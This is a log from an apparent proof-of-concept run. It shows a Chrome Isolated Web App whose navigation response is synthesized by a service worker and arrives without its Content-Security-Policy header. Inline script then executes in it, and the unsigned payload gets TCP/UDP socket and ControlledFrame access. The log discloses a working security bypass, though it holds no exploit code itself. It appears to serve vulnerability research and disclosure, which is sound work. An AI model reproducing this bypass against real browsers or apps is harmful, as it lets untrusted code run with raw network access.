[*] Chrome log: /poc-artifacts/chrome-log.txt
[*] User data dir: /tmp/iwa-poc-b9omyz84
[*] Launching Chrome…
[*] PWA.install manifestId=isolated-app://airugqztij5biqquuk3mfwpsaibuegaqcitgfchwuosuofdjabzqaaac/ installUrlOrBundleUrl=http://127.0.0.1:8123/
[+] IWA installed
[*] PWA.launch (first load: bundle/proxy path, CSP injected)
[+] IWA target: EC52E632B9B8B390CE9AA9C2648AC53D
[+] IWA page target: 4263533BD42DEF564EB5E3DD69D58BD3
[*] Waiting for SW to register + claim…
[+] First load committed at isolated-app://airugqztij5biqquuk3mfwpsaibuegaqcitgfchwuosuofdjabzqaaac/index.html

========== CONTROL (network path, ?nosw) ==========
  fromServiceWorker = False
  Content-Security-Policy = "base-uri 'none';default-src 'self';object-src 'none';frame-src 'self' https: blob: data:;connect-src 'self' https: wss: blob: data: ws://127.0.0.1:8123;script-src 'self' 'wasm-unsafe-eval';img-src 'self' https: blob: data:;media-src 'self' https: blob: data:;font-src 'self' blob: data:;style-src 'self' 'unsafe-inline';require-trusted-types-for 'script';frame-ancestors 'self';"

========== BYPASS (SW respondWith) ==========
  href       = 'isolated-app://airugqztij5biqquuk3mfwpsaibuegaqcitgfchwuosuofdjabzqaaac/index.html'
  title      = 'CSP-BYPASS coi=true tcp=true udp=true cf=true'
  coi        = True
  tcp        = True
  udp        = True
  cf         = True
  swCtrl     = True
  nav_csp    = None
  nav_coop   = 'same-origin'
  nav_coep   = 'require-corp'
  nav_via_sw = True
=============================================

[!] VULNERABILITY CONFIRMED
    - SW-synthesized navigation response carried NO Content-Security-Policy header
      (HeaderInjectionURLLoaderClient::OnReceiveResponse never ran)
    - inline <script> in that response executed (would be blocked by script-src 'self')
    - crossOriginIsolated == true -> WebExposedIsolationInfo::kIsolatedApplication
    - TCPSocket / UDPSocket / ControlledFrame exposed to the unsigned payload